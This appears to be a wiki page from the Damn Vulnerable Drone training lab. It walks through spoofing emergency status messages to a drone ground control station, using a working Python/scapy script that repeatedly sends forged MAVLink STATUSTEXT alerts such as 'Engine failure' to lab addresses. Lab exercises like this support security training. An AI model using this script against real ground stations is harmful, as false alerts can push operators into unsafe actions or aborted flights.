Emergency Status Spoofing - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki
Spoofing emergency status messages to mislead the Ground Control Station (GCS) about the drone's condition.
Damn Vulnerable Drone > Attack Scenarios > Protocol Tampering > Emergency Status Spoofing
Emergency status spoofing involves sending false emergency messages to the Ground Control Station (GCS) to mislead it about the drone's condition. This can cause the operator to believe the drone is experiencing critical issues, potentially leading to inappropriate responses or emergency protocols.
⚠️ Solution Guide
sudo apt-get update
sudo apt-get install python3 python3-pip
pip3 install pymavlink scapy
Save the following code as emergency-status-spoofing.py
:
from pymavlink import mavutil
from scapy.all import *
import time
import sys
import random
def create_statustext(severity, text):
mav = mavutil.mavlink.MAVLink(None)
mav.srcSystem = 1
mav.srcComponent = 1
return mav.statustext_encode(
severity=severity,
text=text.encode('utf-8')
).pack(mav)
def send_mavlink_packet(packet_data, target_ip, target_port):
packet = IP(dst=target_ip) / UDP(dport=target_port) / Raw(load=packet_data)
send(packet)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python emergency-status-spoofing.py <ip:port>")
sys.exit(1)
target_ip, target_port = sys.argv[1].split(':')
target_port = int(target_port)
messages = [
(0, "EMERGENCY: Immediate action required"),
(1, "ALERT: Attention needed"),
(2, "CRITICAL: Engine failure"),
(3, "ERROR: GPS signal lost"),
(4, "WARNING: High temperature detected"),
(5, "NOTICE: System check complete"),
(6, "INFO: Battery at 50%"),
(7, "DEBUG: Diagnostic mode enabled")
]
while True:
severity, message = random.choice(messages)
packet = create_statustext(severity, message)
send_mavlink_packet(packet, target_ip, target_port)
print(f"Sent STATUSTEXT packet with severity {severity} and message '{message}' to {target_ip}:{target_port}")
time.sleep(1)
Execute the spoofing script with your target GCS IP and port:
sudo python3 emergency-status-spoofing.py 10.13.0.6:14550
Other valid GCS targets:
-
192.168.13.14:14550
– MAVProxy over WiFi -
10.13.0.4:14550
– MAVProxy over Docker bridge
Watch the GCS interface for spoofed emergency messages like:
EMERGENCY: Immediate action required
CRITICAL: Engine failure
ERROR: GPS signal lost
These may cause the operator to believe the drone is experiencing severe failures, triggering corrective actions or aborting missions.